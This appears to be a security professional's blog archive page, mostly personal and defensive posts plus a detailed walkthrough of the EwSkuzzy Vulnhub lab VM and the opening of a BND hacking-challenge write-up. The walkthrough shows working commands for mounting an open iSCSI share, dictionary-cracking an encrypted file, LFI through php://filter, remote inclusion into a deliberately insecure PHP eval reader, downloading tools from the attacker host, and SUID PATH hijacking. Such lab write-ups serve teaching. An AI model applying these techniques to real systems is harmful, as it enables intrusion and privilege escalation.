New Life in an old Blog!

I started this Blog to document and share my experience with and around Checkpoint Firewalls.

Since then I have switched Jobs and have not touched a Checkpoint Firewall in years!

However I became a Tenable-Partner and touched and built a lot of Tenable Setups (mostly SecurityCenters) so I have gathered a lot of Knowledge and BestPractices KnowHow around Tenable’s Product suites.

So stay tuned for new Life in this old blog and regular updates around Tenable’s products and API automation.

Posted in miscellaneous, tenable | Tagged

Assemble your own affordable Treadmill Desk!

Ever since I listened to Neal Stephenson’s Book Reamde I wanted to get a Treadmill Desk!

A long time I thought you need to buy expensive Ones for a couple thousand Dollars like the Uplift Desk ones.

Now I found out that you can assemble a decent one for just 550 Euros with:

  • Ikea Desk SKARSTA – 199€
  • And a Cheap LONTEK Treadmill from Rakuten – 350€

The result looks decent and works like a charm:

IMG_5757

If you don’t think you can work effectively while walking please go and try out somewhere! It works pretty well and your are not sitting the entire day!

I know this sounds a lot like Advertisement but all links above are without any affiliation and I just want to share my experience with the Desk!

BR
Sebastian

Posted in miscellaneous

Published my Second Book: Penetration Testing mit mimikatz

Hello,

since beginning of July 2019 my new Book “Penetration Testing mit mimikatz” is available directly from the Publisher mitp and the usual Shops like Amazon!

Bildschirmfoto 2019-06-06 um 18.27.41 Kopie

Keep on Roasting!

 

Posted in Books

I am the Evil!

Update July 30th 2018: seems that Microsofts SmartScreen Team fixed this swiftly after my review request. So props to Microsoft. Misclassifications can happen – a swift and productive response is all one can ask for!

Microsoft seems to be thinking I am Evil…

I just want to assure everyone that I am not hosting any kind of malware on my site and do not collect any personal information in my Blog.

This blog is purely to write about IT Security related topics and to publish my CV.

The WordPress is hosted and beeing kept up to date by wordpress.com and uses no custom Plugins on my part – so a basic vanilla wordpress.com Blog.

I cannot vouch for wordpress.com’s hosting but I think that a wordpress focused professional hoster will keep the best patchlevel possible for wordpress.

I imagine some overeager Proxy Admin saw evil haxing Tools and reported my site as malicious. I already requested a reevaluation from Microsofts SmartScreen Team and hope this will get resolved quickly!

BR
Sebastian

Bildschirmfoto 2018-07-27 um 12.15.55

Posted in miscellaneous

Controls to prevent Petya Outbreak and harden your environment in the future

A quick post with a collective list of measures that can be undertaken to harden your environment to prevent a Petya outbreak.

Backups, Backups, Backups and Restore!

  • With the current Ransomeware threats a working backup and even more important a working Restore saves you from death!
  • Seriously, check if you are really able to restore critical servers.
  • VM Snapshot based backup / restore tends to be much faster than oldschool file based backups.
  • Databases tend to need special attention when it comes to backup and restore.
    • How much data will you lose between backup cycles?

AV :-)

Prevent spread via MS17-010

  • Patch your shit!
    • WSUS
    • Proper Patch management Processes
    • think of 3rd party tools/patches to!
  • Use Vulnerability Scanners and Management products like Tenable Nessus and Security Center (or others…) to keep an constant eye on critical vulnerabilities.
    • MS17-010 is now older than 3 months!
  • Disable SMBv1
    • MS17-010 is based on SMBv1 vulnerabilities.
    • Further vulnerabilities in this legacy protocol could come along in the future!
  • Block inbound TCP139/445 on machines where possible
    • At least between clients and client subnets!
    • Clients should not need to access each other via SMB – they should rather use central file and printservers
    • You obviously have to keep those ports open on fileservers and other servers where those Ports are required.
    • Be Cautious to not break Fileserver / DFS Sync
  • NEVER expose TCP 135/139/445 to the internet!

Prevent PSexec + WMI Spread:

  • Block inbound TCP 135, 139, 445 on machines where possible
  • Use AppLocker / SRP to prevent creation of C:\Windows\perfc.dat
  • Make sure to limit privileges:
    • Do not work with Admin accounts
    • Never work with Domain Admin account if not absolutely necessary
    • Users should have no permissions on servers / not be able to log onto servers
    • Admins/Supporters should have special accounts for supporting and not do their daily routine with accounts that have admin rights on all clients
    • Do not use the same local admin creds on all systems
  • Prevent future PTH (heavy read):

Inform your users / Heighten awareness

  • Even if you don’t often inform your users – now is the time!
  • Ask everyone to be carefull and cautious
  • Ask users double check strange mails with IT-Support
    • Be able to help users swiftly that contact IT-Support for this
  • Show them pictures of Inital Vectors (if available – Mails, attachments)
  • Show them pictures of compromised systems
  • Ask users to disconnect and power-off compromised systemes immediately to prevent spreading
    • This Could lead to data loss for some ransomware that leaves keys in memory
    • However spreading is probably bigger issue!
    • It’s your decision in the end!

 

This list is obviously not all you can and should do for proper IT-Security Management!
This controls however are meant to specifically help with the current Petya outbreak.

Did I miss something vital?

Put it in the comments below and I will add it!

BR
Sebastian

 

 

Posted in miscellaneous | Leave a comment

Ewwww SCSI (EwSkuzzy @vulnhub)

Another Vulnhub VM: EwSkuzzy form @vortexau

Bildschirmfoto 2017-03-21 um 12.17.23.png

So last evening I decided its time for another Vulnhub. Luckily someone in #vulnhub was discussing EwSkuzzy!

As the vulnhub.com description warned that it might be problematic in VMware I was glad that VMware Fusion imported it just fine!

Only issue I ran into was that no network interface was configured in VMware by default so I was happy to see that singleuser mode was not protected by password and I could quickly swap the default interface name in /etc/network/interfaces for VMwares ens33.

flag1{unpassworded iSCSI share}

While downloading the VM I thought “skuzzy sounds like SCSI! :D

And I was amused to get the following nmap output:

root@kali:~# nmap -p- -sC -sV 192.168.53.129

Starting Nmap 7.40 ( https://nmap.org ) at 2017-03-21 12:26 CET
Nmap scan report for 192.168.53.129
Host is up (0.00012s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 2048 89:c2:ae:12:d6:c5:19:4e:68:4a:28:e9:06:bd:9c:19 (RSA)
|_ 256 f0:0c:ae:37:10:d3:6d:a2:85:3a:77:04:06:94:f8:0a (ECDSA)
80/tcp open http nginx
|_http-server-header: nginx
|_http-title: Welcome!
3260/tcp open iscsi?
|_iscsi-info: ERROR: Script execution failed (use -d to debug)
MAC Address: 00:0C:29:DF:D6:01 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 111.26 seconds

iSCSI \o/

I actually already found insecure iSCSI Shares in Pentests in the wild so I was very curios to see if there is a password unprotected iSCSI Share available on this port.

Lets enumerate:

root@kali:~# iscsiadm -m discovery -t st -p 192.168.53.129
192.168.53.129:3260,1 iqn.2017-02.local.skuzzy:storage.sys0

root@kali:~# iscsiadm -m node -p 192.168.53.129 --login --target iqn.2017-02.local.skuzzy:storage.sys0
Logging in to [iface: default, target: iqn.2017-02.local.skuzzy:storage.sys0, portal: 192.168.53.129,3260] (multiple)
Login to [iface: default, target: iqn.2017-02.local.skuzzy:storage.sys0, portal: 192.168.53.129,3260] successful.

root@kali:~# mount /dev/sdb /media/temp
root@kali:~# ls /media/temp
bobsdisk.dsk flag1.txt lost+found

root@kali:/media/temp# cat flag1.txt
Congratulations! You've discovered the first flag!

flag1{c0abc15976b98a478150c900ebb0c86f0327f4dd}

Let's see how you go with the next one...

We’ve got flag!

flag2{sensitive data in unpassworded ISCSI share}

What do we have here:

root@kali:/media/temp# mount bobsdisk.dsk /media/temp1
root@kali:/media/temp# ls /media/temp1
lost+found ToAlice.csv.enc ToAlice.eml

root@kali:/media/temp# file /media/temp1/ToAlice*
/media/temp1/ToAlice.csv.enc: openssl enc'd data with salted password
/media/temp1/ToAlice.eml: ASCII text, with very long lines

Lets see what bob has to say to alice:

G'day Alice,

You know what really annoys me? How you and I ended up being used, like some kind of guinea pigs, by the RSA crypto wonks as actors in their designs for public key crypto... I don't recall ever being asked if that was ok? I never got even one cent of royalties from them!? RSA have made Millions on our backs, and it's time we took a stand!

Starting now, today, immediately, I'm never using asymmetric key encryption again, and it's all symmetric keys from here on out. All my files and documents will be encrypted with that popular symmetric crypto algorithm. Uh. Yeah, I can't pronounce its original name. I don't even know what the letters in its other name stand for - but really - that's not important. A bloke at my local hackerspace says its the beez kneez, ridgy-didge, real-deal, the best there is when it comes to symmetric key crypto, he has heaps of stickers on his laptop so I guess it means he knows, right? Anyway, he said it won some big important competition among crypto geeks in October 2000? Lucky Y2K didn't happen then, I suppose or that would have been one boring party!

Anyway this algorithm sounded good to me. I used the updated version that won the competition.

You know what happened to me this morning? My kids, the little darlings, had spilled their fancy 256 bit Lego kit all over the damn floor. Sigh. Of course I trod on it making my coffee, the level of pain really does ROCKYOU to the core when it happens! It's hard to stay mad though, I really love Lego, the way those blocks chain togeather really does make them work brilliantly. My favourite new Spanish swear came in handy when this happened... supercalifragilisticoespialidoso !

Anyway, given I'm not not using asymmetric crypto any longer, I destroyed my private key, so the public key you have for me may as well be deleted. I've got some notes for you which might help in your current case, I've encrypted it using my new favourite symmetric key crypto algorithm, it should be on the disk with this note. The key is, well, one awesome word I learnt in my recent Spanish classes!

Give me a shout when you're down this way again, we'll catch up for coffee (once the Lego is removed from my foot) :)

Cheers,

Bob.

PS: Oh, before I forget, the hacker-kid who told me how to use this new algorithm, said it was very important I used the command option -md sha256 when decrypting. Why? Who knows? He said something about living on the bleeding-edge...

PPS: flag2{054738a5066ff56e0a4fc9eda6418478d23d3a7f}

flag3{not protection encryption keys}

Okay from Bobs mail to Alice we know:

  • Bob does not like to be used as a crypto-rolemodel
  • He used symetric crypto (openssl) to encrypt his attachment to alice
  • His password was likely  “supercalifragilisticoespialidoso”
  • This password likely also exists in the rockyou wordlist

So lets verify this:

To bruteforce the password I used “brutforce-salted-openssl” from this github repo.

One git clone later:

root@kali:/opt/bruteforce-salted-openssl# bruteforce-salted-openssl -t 9 -f /usr/share/wordlists/rockyou.txt -d sha256 -c aes256 /media/temp1/ToAlice.csv.enc
Warning: using dictionary mode, ignoring options -b, -e, -l, -m and -s.

Tried passwords: 3475548
Tried passwords per second: 868887.000000
Last tried password: supercOOl
Password candidate: supercalifragilisticoespialidoso

Supercali-BINGO!

Now lets look inside the csv:

root@kali:/media/temp# openssl enc -d -aes256 -salt -in /media/temp1/ToAlice.csv.enc -out /tmp/output.csv
enter aes-256-cbc decryption password:

root@kali:/media/temp# cat /tmp/output.csv 
Web Path,Reason
5560a1468022758dba5e92ac8f2353c0,Black hoodie. Definitely a hacker site! 
c2444910794e037ebd8aaf257178c90b,Nice clean well prepped site. Nothing of interest here.
flag3{2cce194f49c6e423967b7f72316f48c5caf46e84},The strangest URL I've seen? What is it?

Note for later how it says that flag3 is a URL. How long is this string?

flag4{beating the old php pony}

A nice decoy site on the first URL from the CSV:

Bildschirmfoto 2017-03-21 um 13.36.03.png

Some more decoy b64 string in the source, however I leave this for the eager writers to document ;)

Lets look behind door nr. 2:

Bildschirmfoto 2017-03-21 um 13.39.20.png

Nice! A selfwritten php website, this looks promising! :)

Oh no he did’t:

 

 

OH NOES *shockedface*:

Bildschirmfoto 2017-03-21 um 13.44.24.png

LFI’ception!

My guess is that the $_GET[‘p’] is a php include so lets try to read some sourcecode php filter style:

root@kali:/media/temp# curl http://192.168.53.129/c2444910794e037ebd8aaf257178c90b/index.php?p=php://filter/convert.base64-encode/resource=flag.php
<!DOCTYPE html>
<html>
<head>
<title>I think you're on the right track now!</title>
<style>
div.container {
width: 100%;
border: 1px solid gray;
}

header, footer {
padding: 1em;
...
...
boring, shortened
...
...
overflow: hidden;
}
</style>
</head>
<body>
<div class="container">

&nbsp;

<header>
<h1>My great web-app!</h1>
&nbsp;

</header>&nbsp;
<ul>
<ul>
 	<li><a href="?p=welcome">Welcome</a></li>
</ul>
</ul>
&nbsp;
<ul>
<ul>
 	<li><a href="?p=flag">Flag</a></li>
</ul>
</ul>
&nbsp;
<ul>
<ul>
 	<li><a href="?p=party">Let's Party!</a></li>
</ul>
</ul>
&nbsp;
<ul>
<ul>
 	<li><a href="?p=reader">Feed Reader</a></li>
</ul>
</ul>
&nbsp;

&nbsp;

<article>PD9waHAKZGVmaW5lZCAoJ1ZJQUlOREVYJykgb3IgZGllKCdPb29vaCEgU28gY2xvc2UuLicpOwo/Pgo8aDE+RmxhZzwvaDE+CjxwPkhtbS4gTG9va2luZyBmb3IgYSBmbGFnPyBDb21lIG9uLi4uIEkgaGF2ZW4ndCBtYWRlIGl0IGVhc3kgeWV0LCBkaWQgeW91IHRoaW5rIEkgd2FzIGdvaW5nIHRvIHRoaXMgdGltZT88L3A+CjxpbWcgc3JjPSJ0cm9sbGZhY2UucG5nIiAvPgo8P3BocAovLyBPaywgb2suIEhlcmUncyB5b3VyIGZsYWchIAovLwovLyBmbGFnNHs0ZTQ0ZGIwZjFlZGMzYzM2MWRiZjU0ZWFmNGRmNDAzNTJkYjkxZjhifQovLyAKLy8gV2VsbCBkb25lLCB5b3UncmUgZG9pbmcgZ3JlYXQgc28gZmFyIQovLyBOZXh0IHN0ZXAuIFNIRUxMIQovLwovLyAKLy8gT2guIFRoYXQgZmxhZyBhYm92ZT8gWW91J3JlIGdvbm5hIG5lZWQgaXQuLi4gCj8+Cg==</article>&nbsp;

<footer>Hack the Planet!</footer>&nbsp;

</div>
&lt;/body&gt; &lt;/html&gt;

&nbsp;

Lets look at the source of flag.php:

root@kali:/media/temp# echo "PD9waHAKZGVmaW5lZCAoJ1ZJQUlOREVYJykgb3IgZGllKCdPb29vaCEgU28gY2xvc2UuLicpOwo/Pgo8aDE+RmxhZzwvaDE+CjxwPkhtbS4gTG9va2luZyBmb3IgYSBmbGFnPyBDb21lIG9uLi4uIEkgaGF2ZW4ndCBtYWRlIGl0IGVhc3kgeWV0LCBkaWQgeW91IHRoaW5rIEkgd2FzIGdvaW5nIHRvIHRoaXMgdGltZT88L3A+CjxpbWcgc3JjPSJ0cm9sbGZhY2UucG5nIiAvPgo8P3BocAovLyBPaywgb2suIEhlcmUncyB5b3VyIGZsYWchIAovLwovLyBmbGFnNHs0ZTQ0ZGIwZjFlZGMzYzM2MWRiZjU0ZWFmNGRmNDAzNTJkYjkxZjhifQovLyAKLy8gV2VsbCBkb25lLCB5b3UncmUgZG9pbmcgZ3JlYXQgc28gZmFyIQovLyBOZXh0IHN0ZXAuIFNIRUxMIQovLwovLyAKLy8gT2guIFRoYXQgZmxhZyBhYm92ZT8gWW91J3JlIGdvbm5hIG5lZWQgaXQuLi4gCj8+Cg==" | base64 -d
&lt;?php
defined ('VIAINDEX') or die('Ooooh! So close..');
?&gt;
&lt;h1&gt;Flag&lt;/h1&gt;
&lt;p&gt;Hmm. Looking for a flag? Come on... I haven't made it easy yet, did you think I was going to this time?&lt;/p&gt;
&lt;img src="trollface.png" /&gt;
&lt;?php
// Ok, ok. Here's your flag! 
//
// flag4{4e44db0f1edc3c361dbf54eaf4df40352db91f8b}
// 
// Well done, you're doing great so far!
// Next step. SHELL!
//
// 
// Oh. That flag above? You're gonna need it... 
?&gt;

We’ve got flag!

And another hint!

flag5{from shell over suid to root}

Last flag it is!

But First we need shell! I like shells!

Lets look at this strange reader.php:

root@kali:/media/temp# curl http://192.168.53.129/c2444910794e037ebd8aaf257178c90b/index.php?p=php://filter/convert.base64-encode/resource=reader.php
&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;
...nothing to see here, move along...
&lt;/head&gt;
&lt;body&gt;</pre>
<div class="container">

&nbsp;

<header>
<h1>My great web-app!</h1>
&nbsp;

</header>&nbsp;
<ul>
<ul>
 	<li><a href="?p=welcome">Welcome</a></li>
</ul>
</ul>
&nbsp;
<ul>
<ul>
 	<li><a href="?p=flag">Flag</a></li>
</ul>
</ul>
&nbsp;
<ul>
<ul>
 	<li><a href="?p=party">Let's Party!</a></li>
</ul>
</ul>
&nbsp;
<ul>
<ul>
 	<li><a href="?p=reader">Feed Reader</a></li>
</ul>
</ul>
&nbsp;

&nbsp;

<article>PD9waHAKZGVmaW5lZCAoJ1ZJQUlOREVYJykgb3IgZGllKCdPb29vaCEgU28gY2xvc2UuLicpOwo/Pgo8aDE+RmVlZCBSZWFkZXI8L2gxPgo8P3BocAppZihpc3NldCgkX0dFVFsndXJsJ10pKSB7CiAgICAkdXJsID0gJF9HRVRbJ3VybCddOwp9IGVsc2UgewogICAgcHJpbnQoIjxhIGhyZWY9XCI/cD1yZWFkZXImdXJsPWh0dHA6Ly8xMjcuMC4wLjEvYzI0NDQ5MTA3OTRlMDM3ZWJkOGFhZjI1NzE3OGM5MGIvZGF0YS50eHRcIj5Mb2FkIEZlZWQ8L2E+Iik7Cn0KCmlmKGlzc2V0KCR1cmwpICYmIHN0cmxlbigkdXJsKSAhPSAnJykgewoKICAgIC8vIFNldHVwIHNvbWUgdmFyaWFibGVzLgogICAgJHNlY3JldG9rID0gZmFsc2U7CiAgICAka2V5bmVlZGVkID0gdHJ1ZTsKCiAgICAvLyBMb2NhbGhvc3QgYXMgYSBzb3VyY2UgZG9lc24ndCBuZWVkIHRvIHVzZSB0aGUga2V5LgogICAgaWYocHJlZ19tYXRjaCgiI15odHRwOi8vMTI3LjAuMC4xIyIsICR1cmwpKSB7CiAgICAgICAgJGtleW5lZWRlZCA9IGZhbHNlOwogICAgICAgICRzZWNyZXRvayA9IHRydWU7CiAgICB9CgogICAgLy8gSGFuZGxlIHRoZSBrZXkgdmFsaWRhdGlvbiB3aGVuIGl0J3MgbmVlZGVkLgogICAgaWYoJGtleW5lZWRlZCkgewogICAgICAgICRrZXkgPSAkX0dFVFsna2V5J107CiAgICAgICAgaWYoaXNfYXJyYXkoJGtleSkpIHsKICAgICAgICAgICAgZGllKCJBcnJheSB0cmljayBpcyBtaXRpZ2F0ZWQgOykiKTsKICAgICAgICB9CiAgICAgICAgaWYoaXNzZXQoJGtleSkgJiYgc3RybGVuKCRrZXkpID09ICc0NycpIHsKCSAgICAkaGFzaGVka2V5ID0gaGFzaCgnc2hhMjU2JywgJGtleSk7CiAgICAgICAgICAgICRzZWNyZXQgPSAiNWNjZDBkYmRlZWZiZWUwNzhiODhhNmU1MmRiOGMxY2FhOGRkODMxNWYyMjdmZTFlNmFlZTZiY2I2ZGI2MzY1NiI7CgogICAgICAgICAgICAvLyBJZiB5b3UgY2FuIHVzZSB0aGUgZm9sbG93aW5nIGNvZGUgZm9yIGEgdGltaW5nIGF0dGFjawogICAgICAgICAgICAvLyB0aGVuIGdvb2QgbHVjayA6KSBCdXQuLiBZb3UgaGF2ZSB0aGUgc291cmNlIGFueXdheSwgcmlnaHQ/IDopIAoJICAgIGlmKHN0cmNtcCgkaGFzaGVka2V5LCAkc2VjcmV0KSA9PSAwKSB7CiAgICAgICAgICAgICAgICAkc2VjcmV0b2sgPSB0cnVlOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgZGllKCJTb3JyeS4uLiBBdXRoZW50aWNhdGlvbiBmYWlsZWQuIEtleSB3YXMgaW52YWxpZC4iKTsKCSAgICB9CgogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGRpZSgiQXV0aGVudGljYXRpb24gaW52YWxpZC4gWW91IG1pZ2h0IG5lZWQgYSBrZXkuIik7CiAgICAgICAgfQogICAgfQoKICAgIC8vIEp1c3QgdG8gbWFrZSBzdXJlIHRoZSBhYm92ZSBrZXkgY2hlY2sgd2FzIHBhc3NlZC4KICAgIGlmKCEkc2VjcmV0b2spIHsKICAgICAgICBkaWUoIlNvbWV0aGluZyB3ZW50IHdyb25nIHdpdGggdGhlIGF1dGhlbnRpY2F0aW9uIHByb2Nlc3MiKTsKICAgIH0KCiAgICAvLyBOb3cgbG9hZCB0aGUgY29udGVudHMgb2YgdGhlIGZpbGUgd2UgYXJlIHJlYWRpbmcsIGFuZCBwYXJzZQogICAgLy8gdGhlIHN1cGVyIGF3ZXNvbWVuZXNzIG9mIGl0cyBjb250ZW50cyEKICAgICRmID0gZmlsZV9nZXRfY29udGVudHMoJHVybCk7CgogICAgJHRleHQgPSBwcmVnX3NwbGl0KCIvIyN0ZXh0IyMvcyIsICRmKTsKCiAgICBpZihpc3NldCgkdGV4dFsnMSddKSAmJiBzdHJsZW4oJHRleHRbJzEnXSkgPiAwKSB7CiAgICAgICAgcHJpbnQoJHRleHRbJzEnXSk7CiAgICB9CgogICAgcHJpbnQgIjxiciAvPjxiciAvPiI7CgogICAgJHBocCA9IHByZWdfc3BsaXQoIi8jI3BocCMjL3MiLCAkZik7CgogICAgaWYoaXNzZXQoJHBocFsnMSddKSAmJiBzdHJsZW4oJHBocFsnMSddKSA+IDApIHsgCiAgICAgICAgZXZhbCgkcGhwWycxJ10pOwogICAgICAgIC8vICJJZiBFdmFsIGlzIHRoZSBhbnN3ZXIsIHlvdSdyZSBhc2tpbmcgdGhlIHdyb25nIHF1ZXN0aW9uISIgLSBTRwogICAgICAgIC8vIEl0IGh1cnRzIG1lIHRvIHdyaXRlIGluc2VjdXJlIGNvZGUgbGlrZSB0aGlzLCBidXQgaXQgaXMgaW4gdGhlCiAgICAgICAgLy8gbmFtZSBvZiBlZHVjYXRpb24sIGFuZCBGVU4sIHNvIEknbGwgbGV0IGl0IHNsaWRlIHRoaXMgdGltZS4KICAgIH0KfQoK</article>&nbsp;

<footer>Hack the Planet!</footer>&nbsp;

</div>
&lt;/body&gt; &lt;/html&gt;

 

Bildschirmfoto 2017-03-21 um 13.51.56.png

Lets read it:

root@kali:/media/temp# echo "PD9w...insert long string here...KfQoK" | base64 -d
&lt;?php
defined ('VIAINDEX') or die('Ooooh! So close..');
?&gt;
&lt;h1&gt;Feed Reader&lt;/h1&gt;
&lt;?php
if(isset($_GET['url'])) {
 $url = $_GET['url'];
} else {
 print("&lt;a href=\"?p=reader&amp;url=http://127.0.0.1/c2444910794e037ebd8aaf257178c90b/data.txt\"&gt;Load Feed&lt;/a&gt;");
}

if(isset($url) &amp;&amp; strlen($url) != '') {

 // Setup some variables.
 $secretok = false;
 $keyneeded = true;

 // Localhost as a source doesn't need to use the key.
 if(preg_match("#^http://127.0.0.1#", $url)) {
 $keyneeded = false;
 $secretok = true;
 }

 // Handle the key validation when it's needed.
 if($keyneeded) {
 $key = $_GET['key'];
 if(is_array($key)) {
 die("Array trick is mitigated ;)");
 }
 if(isset($key) &amp;&amp; strlen($key) == '47') {
 $hashedkey = hash('sha256', $key);
 $secret = "5ccd0dbdeefbee078b88a6e52db8c1caa8dd8315f227fe1e6aee6bcb6db63656";

 // If you can use the following code for a timing attack
 // then good luck :) But.. You have the source anyway, right? :) 
 if(strcmp($hashedkey, $secret) == 0) {
 $secretok = true;
 } else {
 die("Sorry... Authentication failed. Key was invalid.");
 }

 } else {
 die("Authentication invalid. You might need a key.");
 }
 }

 // Just to make sure the above key check was passed.
 if(!$secretok) {
 die("Something went wrong with the authentication process");
 }

 // Now load the contents of the file we are reading, and parse
 // the super awesomeness of its contents!
 $f = file_get_contents($url);

 $text = preg_split("/##text##/s", $f);

 if(isset($text['1']) &amp;&amp; strlen($text['1']) &gt; 0) {
 print($text['1']);
 }

 print "&lt;br /&gt;&lt;br /&gt;";

 $php = preg_split("/##php##/s", $f);

 if(isset($php['1']) &amp;&amp; strlen($php['1']) &gt; 0) { 
 eval($php['1']);
 // "If Eval is the answer, you're asking the wrong question!" - SG
 // It hurts me to write insecure code like this, but it is in the
 // name of education, and FUN, so I'll let it slide this time.
 }
}

So we can probably do RFI with the feed reader URL:

http://192.168.53.129/c2444910794e037ebd8aaf257178c90b/index.php?p=reader&url=http://127.0.0.1/c2444910794e037ebd8aaf257178c90b/data.txt

Lets test without the key:

Bildschirmfoto 2017-03-21 um 13.57.23.png

Now lets test a random 47digit key:

Bildschirmfoto 2017-03-21 um 13.59.15.png

Now if we only had a 47 digit key already from somewhere 🤔

Btw: I tried to bruteforce the sha256 hash from the php source but when hashcat told me 47 digits will take >10 years and I had no luck with rockyou.txt or linkedin.txt I remembered all the previous spoiler/hints:

Bildschirmfoto 2017-03-21 um 14.02.06.png

Bildschirmfoto 2017-03-21 um 14.02.26.png

Bildschirmfoto 2017-03-21 um 14.02.38.png

Guess what? The entire flag-string is 47 digits and with flag4{…} it finally worked:

Bildschirmfoto 2017-03-21 um 14.06.44.png

So lets provide some php code in the correct format the reader.php source expects:

Bildschirmfoto 2017-03-21 um 14.09.07.png

And we’ve got shell:

Bildschirmfoto 2017-03-21 um 14.21.09.png

Now lets do some basic privesc enumeration:

$ cd /tmp
$ wget http://192.168.53.131/linux-privtools.tar
--2017-03-22 00:01:56-- http://192.168.53.131/linux-privtools.tar
Connecting to 192.168.53.131:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 133120 (130K) [application/x-tar]
Saving to: 'linux-privtools.tar'

 0K .......... .......... .......... .......... .......... 38% 29.6M 0s
 50K .......... .......... .......... .......... .......... 76% 28.6M 0s
 100K .......... .......... .......... 100% 28.5M=0.004s

2017-03-22 00:01:56 (29.0 MB/s) - 'linux-privtools.tar' saved [133120/133120]

$ tar xf linux-privtools.tar
$ chmod +x LinEnum.sh 

#########################################################
# Local Linux Enumeration & Privilege Escalation Script #
#########################################################
# www.rebootuser.com
# 

Debug Info
thorough tests = enabled


Scan started at:
Wed Mar 22 00:05:56 ACDT 2017


### SYSTEM ##############################################
Kernel information:
Linux skuzzy 4.4.0-64-generic #85-Ubuntu SMP Mon Feb 20 11:50:30 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux


Kernel information (continued):
Linux version 4.4.0-64-generic (buildd@lgw01-56) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.4) ) #85-Ubuntu SMP Mon Feb 20 11:50:30 UTC 2017


Specific release information:
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=16.04
DISTRIB_CODENAME=xenial
DISTRIB_DESCRIPTION="Ubuntu 16.04.2 LTS"
NAME="Ubuntu"
VERSION="16.04.2 LTS (Xenial Xerus)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 16.04.2 LTS"
VERSION_ID="16.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
VERSION_CODENAME=xenial
UBUNTU_CODENAME=xenial


Hostname:
skuzzy

...
Lots more findings!
...

SUID files:
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/newuidmap
/usr/bin/pkexec
/usr/bin/chfn
/usr/bin/at
/usr/bin/newgidmap
/usr/bin/passwd
/usr/bin/sudo
/bin/fusermount
/bin/mount
/bin/su
/bin/ntfs-3g
/bin/ping
/bin/ping6
/bin/umount
/opt/alicebackup
...

Here we go, a SUID file called alicebackup!

Lets strings it:

$ strings /opt/alicebackup 
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
system
__cxa_finalize
setgid
__libc_start_main
_ITM_deregisterTMCloneTable
__gmon_start__
_Jv_RegisterClasses
_ITM_registerTMCloneTable
GLIBC_2.2.5
=i 
=J 
AWAVA
AUATL
[]A\A]A^A_
scp /tmp/special bob@alice.home:~
;*3$"
GCC: (Debian 6.3.0-6) 6.3.0 20170205
crtstuff.c
__JCR_LIST__
deregister_tm_clones
__do_global_dtors_aux
completed.6962
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
root.c
__FRAME_END__
__JCR_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
_edata
system@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_csu_init
__bss_start
main
setgid@@GLIBC_2.2.5
_Jv_RegisterClasses
__TMC_END__
_ITM_registerTMCloneTable
setuid@@GLIBC_2.2.5
__cxa_finalize@@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.jcr
.dynamic
.got.plt
.data
.bss
.comment

What do we have here, a relative call to scp:

scp /tmp/special bob@alice.home:~

Lets export /tmp to path and place our own scp file there:

Bildschirmfoto 2017-03-21 um 14.43.05.png

The end…

This was a really fun VM, straight forward or nice hints at the right moments.

Thanks alot @vortexau!

BR
Sebastian

 

Posted in boot2root, vulnhub | Leave a comment

BND Forensic Challenge – Cyber all the things

When the German Intelligence Service: Bundesnachrichtendienst (short BND) releases a hacking challenge as job application all bad media storm breaks lose:

Bildschirmfoto 2017-03-03 um 00.13.14.png

“Solve this challenge to become a spy”

I did not care much for the RE challenge a couple of months ago but as someone showed me an article at work over lunch from a Linux Terminal I knew basic pentesting skills need application!

And the sign said, ‘ Long haired freaky people need not apply’

So lets get this started! Scenario:

Bildschirmfoto 2017-03-02 um 23.09.48.png

Basically it says that a friendly intelligence service asks for help in a case of a hacked state insurance companies webserver that got owned.

  • You are provided with a lowpriv user (hacker:abcd1234)
  • Look for the flaw in the webapp
  • Attackers stored loot from other companies on the server

Admins were able to crack a password but not somehow not able to mount the hdd (lol) and look at the data which is not encrypted but just moved in a directory only readable by root which had his password changed…

But actually I get it. This is just a little challenge as a job intro starter, so thats okay!

Goal Overview:

Bildschirmfoto 2017-03-02 um 23.13.18.png

  1. How could the attackers gain access? (shell)
  2. How could the attackers gain root privileges? (privesc)
  3. What kind of stolen data was parked on the Server? (Kevin, was this you… ?)

 

Goal 1: How could the attackers gain access? (shell)

Bildschirmfoto 2017-03-02 um 23.17.53.png

Describe the Vulnerability that was used by the hackers to infiltrate the system. What kind of vulnerability was used? Provide a Proof-of-Concept with your answer.

So lets fire up the VM:

Bildschirmfoto 2017-03-02 um 23.21.20.png

So getting the network connectivity for the VM worked out is not part of the challenge ;)
